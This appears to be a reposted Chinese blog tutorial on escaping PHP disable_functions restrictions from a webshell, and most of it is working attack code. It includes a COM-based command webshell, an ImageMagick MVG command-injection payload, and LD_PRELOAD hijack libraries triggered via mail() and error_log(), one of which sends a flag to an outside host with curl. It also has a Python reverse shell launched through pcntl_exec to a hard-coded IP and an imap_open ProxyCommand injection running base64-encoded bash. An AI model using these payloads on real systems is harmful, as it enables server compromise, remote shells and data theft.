PHP Webshell下绕过disable_function的方法

一 系统组件绕过

1.window comsfdssadf 5.4)(高版本扩展要自己添加)
条件:要在php.ini中开启(如图)
PHP Webshell下绕过disable_function的方法_第1张图片 利用代码


$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

结果
PHP Webshell下绕过disable_function的方法_第2张图片#### 2.利用ImageMagick漏洞绕过disable_function
ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件
如果phpinfo中看到有这个,可以尝试以下(我好像因为版本问题一直没成功)
PHP Webshell下绕过disable_function的方法_第3张图片利用如下代码


echo "Disable Functions: " . ini_get('disable_functions') . "\n";
 
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
    $command = 'id';
}
 
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
 
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

3.利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令

php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的

原理

LD_PRELOAD是Linux系统的下一个有趣的环境变量:“它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。”

测试代码

#include 
#include 
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
        printf("usage: %s /n", argv[0]);
        return 0;
}
if (!strcmp(passwd, argv[1])) {
        printf("Correct Password!/n");
        return 0;
}
printf("Invalid Password!/n");
}
# 保存为a.c,并编译为a

执行编译为a

gcc a.c -o a

运行结果
在这里插入图片描述
程序很简单,根据判断传入的字符串是否等于”password”,得出两种不同结果。 其中用到了标准C函数strcmp函数来做比较,这是一个外部调用函数,我们来重新编写一个同名函数

#include 
#include 
int strcmp(const char *s1, const char *s2){
    printf("hack functio  n invoked. s1=<%s> s2=<%s>/n", s1, s2);
    return 0;
}
#保存为b.c

编译为一个动态共享库:

gcc -fPIC -shared b.c -o b.so

通过LD_PRELOAD来设置它能被其他调用它的程序优先加载:

export LD_PRELOAD="./b.so"

运行测试代码
./a bbb
Correct Password!

我们看到随意输入字符串都会显示密码正确,这说明程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序,实现劫持。

结合mail 函数进行实战测试

那么我们来看一下sendmail函数都调用了哪些库函数,使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数:
PHP Webshell下绕过disable_function的方法_第4张图片

思路

编制我们自己的动态链接程序。 通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。 在webshell上用mail函数发送一封邮件来触发。
编制我们自己的动态链接程序。

#include
#include 
#include
 
void payload(){
         FILE*fp = fopen("/tmp/2.txt","w");
         fclose(fp);
         system("mkdir /var/www/html/test");
 }
 
 
int geteuid(){
  FILE *fp1=fopen("/tmp/2.txt","r");
  if(fp1!=NULL)
  {
   fclose(fp1);
         return 552;
        }else {
         payload();
         return 552;
       }
 
 
}

执行命令编译为一个动态共享库:

gcc -c -fPIC a.c -o a
gcc -shared a -o a.so

通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。在webshell上用mail函数发送一封邮件来触发。结果为


   putenv("LD_PRELOAD=/var/www/html/a.so");
   mail("[email protected]","","","","");
  ?>

在这里插入图片描述
如果mail函数不行,还有一个函数也会调用sendmail取开进程
编译一个a.c

#define _GNU_SOURCE
#include 
#include 
#include 
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl vps:6666/`/readflag`");
}

gcc a.c -fPIC -shared -o a.so

用php来调用error_log(),然后代码执行包含这个/tmp下的php即可rce
PHP Webshell下绕过disable_function的方法_第5张图片
PHP Webshell下绕过disable_function的方法_第6张图片也可以通过fastcgi修改php.ini加载扩展,由于本地环境问题未复现成功
可参考如下文章
https://www.anquanke.com/post/id/186186

利用pcntl_exec突破disable_functions

pcntl是linux下的一个扩展,可以支持php的多线程操作。(与python结合反弹shell) pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5

  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

曾经有台服务器就是这样反弹shell的
PHP Webshell下绕过disable_function的方法_第7张图片
PHP Webshell下绕过disable_function的方法_第8张图片

4. 利用imap_open()突破disable_function

我们知道mail函数第五个参数可控可以导致命令执行,PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令
看哈php文档对该函数的描述


说明
imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] ) : resource

Opens an IMAP stream to a mailbox.

This function can also be used to open streams to POP3 and NNTP servers, but some functions and features are only available on IMAP servers.
此函数还可以用于向POP3和NNTP服务器打开流。 但是一些功能和特性只能在IMAP服务器上使用。

漏洞点在于第一个参数$mailbox
要想了解更加清楚可以看哈这篇文章
https://www.freebuf.com/vuls/192712.html
我就尝试哈对漏洞的复现
由于imap_open是php的扩展模块,真实环境中没有装改模块,所以我就用docker
首先用 docker search 命令搜索 imap 来寻找适合我们的镜像

docker search imap

载入一个镜像

docker pull fedosov/docker-php-imap-composer

运行镜像

docker run -itd fedosov/docker-php-imap-composer /bin/bash

查看正在运行的docker(注意图中圈的,下面命令有用)

docker ps
在这里插入图片描述

进入容器

docker exec -it admiring_morse bash

把如下代码写入1.php


$payload = "echo fsfasaf|tee /tmp/2.txt";
$encoded = base64_encode($payload);
$mailbox = "any -o ProxyCommand=echo\t".$encoded."|base64\t-d|bash";
@imap_open('{'.$mailbox.'}:143/imap}INBOX', '', '');
?>

在这里插入图片描述

成功创建文件,并写入

在这里插入图片描述

php7绕过disable_function
https://github.com/mm0r1/exploits?files=1

参考链接
https://www.waitalone.cn/imagemagic-bypass-disable_function.html
http://blog.leanote.com/post/xuxi/PHP-Webshell%E4%B8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E9%99%90%E5%88%B6%E5%8F%8A%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95

你可能感兴趣的:(PHP Webshell下绕过disable_function的方法)